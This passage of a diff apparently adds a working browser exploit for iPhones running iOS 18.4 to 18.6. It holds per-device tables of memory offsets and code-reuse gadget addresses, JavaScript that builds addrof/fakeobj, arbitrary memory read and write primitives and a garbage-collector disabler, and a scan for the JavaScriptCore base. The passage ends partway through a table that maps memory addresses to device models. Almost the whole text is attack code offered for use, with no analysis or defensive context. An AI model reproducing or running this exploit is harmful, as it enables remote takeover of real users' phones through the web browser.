WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + } +}; + + +function sleep(time) { + return new Promise((resolve) => setTimeout(resolve, time)); +} +var globalFuncParseFloat = 0n; +var maximum_id = 0n; +const wait_for_jit_compilation_ms = 1100; + +class check_attempt { + constructor() { + this.overlap_array; + this.overlap_idx_in_oob_array; + this.oob_array; + this.read32; + this.read64; + this.write64; + } + + stage1() { + this.overlap_array[0] = {}; + let overlap_array = this.overlap_array; + let overlap_idx_in_oob_array = this.overlap_idx_in_oob_array; + let oob_array = this.oob_array; + + function addrof(object) { + overlap_array[0] = object; + return BigInt.fromDouble(oob_array[overlap_idx_in_oob_array]); + } + function fakeobj(addr) { + oob_array[overlap_idx_in_oob_array] = addr.asDouble(); + return overlap_array[0]; + } + + let junk0 = new Array(4).fill(1.1); + junk0[0] = 1.1; + junk0[1] = 1.1; + let scribble_element = new Array(4).fill(1.1); + scribble_element[0] = 1.1; + scribble_element[1] = 1.1; + let results = new Array(2).fill(1.1); + results[0] = 1.1; + results[1] = 1.1; + let change_scribble_holder = { p1: fakeobj(0x0108240700006000n), p2: scribble_element }; + let change_scribble = fakeobj(addrof(change_scribble_holder) + 0x10n); + for (let i = 0; i < 2; i++) { + let a = i == 0 ? change_scribble : junk0; + results[i] = a[0]; + } + change_scribble_holder.p1 = results[0]; //now we have a valid structureID + + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + + function write64(addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = read64(off_addr); + let [hi, lo] = value.asInt32s(); + + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + + write64(off_addr, off_val); + } + } + + let read64_biguint64arr = new BigUint64Array(4); + change_scribble[1] = addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + change_scribble[1] = addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + + function read64(addr) { + read64_biguint64arr[1] = addr; + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n + | BigInt(read64_str.charCodeAt(2)) << 32n + | BigInt(read64_str.charCodeAt(3)) << 48n); + } + + function read32(addr) { + read64_biguint64arr[1] = addr; + + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n); + } + this.read32 = read32; + this.read64 = read64; + this.write64 = write64; + // Disable Worklet GC + const vm = read64(read64(addrof(globalThis).add(0x10n)).add(0x38n)); + + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + write64(isSafeToCollect, 0n); + + const executable = read64(addrof(parseFloat) + 0x18n); + globalFuncParseFloat = read64(executable + 0x28n).noPAC(); + const jsc_base = (function() { + let jsc_base = globalFuncParseFloat & ~0xfffn; + + while (1) { + read64_biguint64arr[1] = jsc_base; + if (read64_str.charCodeAt(0) == 0xfacf && read64_str.charCodeAt(1) == 0xfeed) { + return jsc_base; + } + jsc_base -= 0x1000n; + } + })(); + print("jsc_base: " + jsc_base.hex()); + function parse_adrp(addr) { + const x = Number(read32(addr)); + const immhi = x >> 5 & (1 << 23 - 5 + 1) - 1; + const immlo = x >> 29 & 3; + const imm = immhi << 14 | immlo << 12; + return imm + Math.floor(Number(addr) / 0x1000) * 0x1000; + } + function parse_add(addr) { + const insn = Number(read32(addr)); + const off = insn >> 10 & (1 << 12) - 1; + return off; + } + function parse_adrp_add(addr, is_ldrb = false) { + let res = parse_adrp(addr); + let add = parse_add(addr + 4n); + return res + add; + } + const versions = ['b8', '731', 'b9']; +const pthread_create_auth_stubs_offset = { +'18,4': 0x177d640n, +'18,4,1': 0x177d640n, +'18,5': 0x18ccf30n, +'18,6': 0x17a4830n, +'18,6,1': 0x17a4830n, +'18,6,2': 0x17a4830n +}; +const pthread_create_offset = { +'18,4': 0x5864n, +'18,4,1': 0x5864n, +'18,5': 0x6988n, +'18,6': 0x6988n, +'18,6,1': 0x6988n, +'18,6,2': 0x6988n +}; +const linkedit_to_device = { +'18,4': { + [0x27075c000n]: "iPhone11,2_4_6_22E240", + [0x27074c000n]: "iPhone11,8_22E240", + [0x27085c000n]: "iPhone12,1_22E240", + [0x27085c000n]: "iPhone12,3_5_22E240", + [0x270794000n]: "iPhone12,8_22E240", + [0x270ad0000n]: "iPhone13,1_22E240", + [0x2714f8000n]: "iPhone13,2_3_22E240", + [0x2714f8000n]: "iPhone13,4_22E240", + [0x2718dc000n]: "iPhone14,2_22E240", + [0x2718dc000n]: "iPhone14,3_22E240", + [0x270ea4000n]: "iPhone14,4_22E240", + [0x270ea4000n]: "iPhone14,5_22E240", + [0x270e50000n]: "iPhone14,6_22E240", + [0x2712b4000n]: "iPhone14,7_22E240", + [0x2712b4000n]: "iPhone14,8_22E240", + [0x272058000n]: "iPhone15,2_22E240", + [0x272058000n]: "iPhone15,3_22E240", + [0x271680000n]: "iPhone15,4_22E240", + [0x271680000n]: "iPhone15,5_22E240", + [0x272594000n]: "iPhone16,1_22E240", + [0x272594000n]: "iPhone16,2_22E240", + [0x271e5c000n]: "iPhone17,1_22E240", + [0x271e5c000n]: "iPhone17,2_22E240", + [0x2717f0000n]: "iPhone17,3_22E240", + [0x2717f0000n]: "iPhone17,4_22E240", + [0x271530000n]: "iPhone17,5_22E240" +}, +'18,4,1': { + [0x27075c000n]: "iPhone11,2_4_6_22E252", + [0x27074c000n]: "iPhone11,8_22E252", + [0x27085c000n]: "iPhone12,1_22E252", + [0x27085c000n]: "iPhone12,3_5_22E252", + [0x270790000n]: "iPhone12,8_22E252", + [0x270ad0000n]: "iPhone13,1_22E252", + [0x2714f8000n]: "iPhone13,2_3_22E252", + [0x2714f8000n]: "iPhone13,4_22E252", + [0x2718dc000n]: "iPhone14,2_22E252", + [0x2718dc000n]: "iPhone14,3_22E252", + [0x270ea4000n]: "iPhone14,4_22E252", + [0x270ea4000n]: "iPhone14,5_22E252", + [0x270e50000n]: "iPhone14,6_22E252", + [0x2712b4000n]: "iPhone14,7_22E252", + [0x2712b4000n]: "iPhone14,8_22E252", + [0x272058000n]: "iPhone15,2_22E252", + [0x272058000n]: "iPhone15,3_22E252", + [0x271680000n]: "iPhone15,4_22E252", + [0x271680000n]: "iPhone15,5_22E252", + [0x272594000n]: "iPhone16,1_22E252", + [0x272594000n]: "iPhone16,2_22E252", + [0x271e5c000n]: "iPhone17,1_22E252", + [0x271e5c000n]: "iPhone17,2_22E252", + [0x2717f0000n]: "iPhone17,3_22E252", + [0x2717f0000n]: "iPhone17,4_22E252", + [0x271530000n]: "iPhone17,5_22E252" +}, +'18,5': { + [0x27170c000n]: "iPhone11,2_4_6_22F76", + [0x271704000n]: "iPhone11,8_22F76", + [0x271810000n]: "iPhone12,1_22F76", + [0x271810000n]: "iPhone12,3_5_22F76", + [0x27173c000n]: "iPhone12,8_22F76", + [0x271a88000n]: "iPhone13,1_22F76", + [0x2724b4000n]: "iPhone13,2_3_22F76", + [0x2724b4000n]: "iPhone13,4_22F76", + [0x27288c000n]: "iPhone14,2_22F76", + [0x27288c000n]: "iPhone14,3_22F76", + [0x271e5c000n]: "iPhone14,4_22F76", + [0x271e5c000n]: "iPhone14,5_22F76", + [0x271df8000n]: "iPhone14,6_22F76", + [0x272264000n]: "iPhone14,7_22F76", + [0x272264000n]: "iPhone14,8_22F76", + [0x273014000n]: "iPhone15,2_22F76", + [0x273014000n]: "iPhone15,3_22F76", + [0x272634000n]: "iPhone15,4_22F76", + [0x272634000n]: "iPhone15,5_22F76", + [0x27353c000n]: "iPhone16,1_22F76", + [0x27353c000n]: "iPhone16,2_22F76", + [0x272e04000n]: "iPhone17,1_22F76", + [0x272e04000n]: "iPhone17,2_22F76", + [0x2727a0000n]: "iPhone17,3_22F76", + [0x2727a0000n]: "iPhone17,4_22F76", + [0x2724d8000n]: "iPhone17,5_22F76" +}, +'18,6': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: 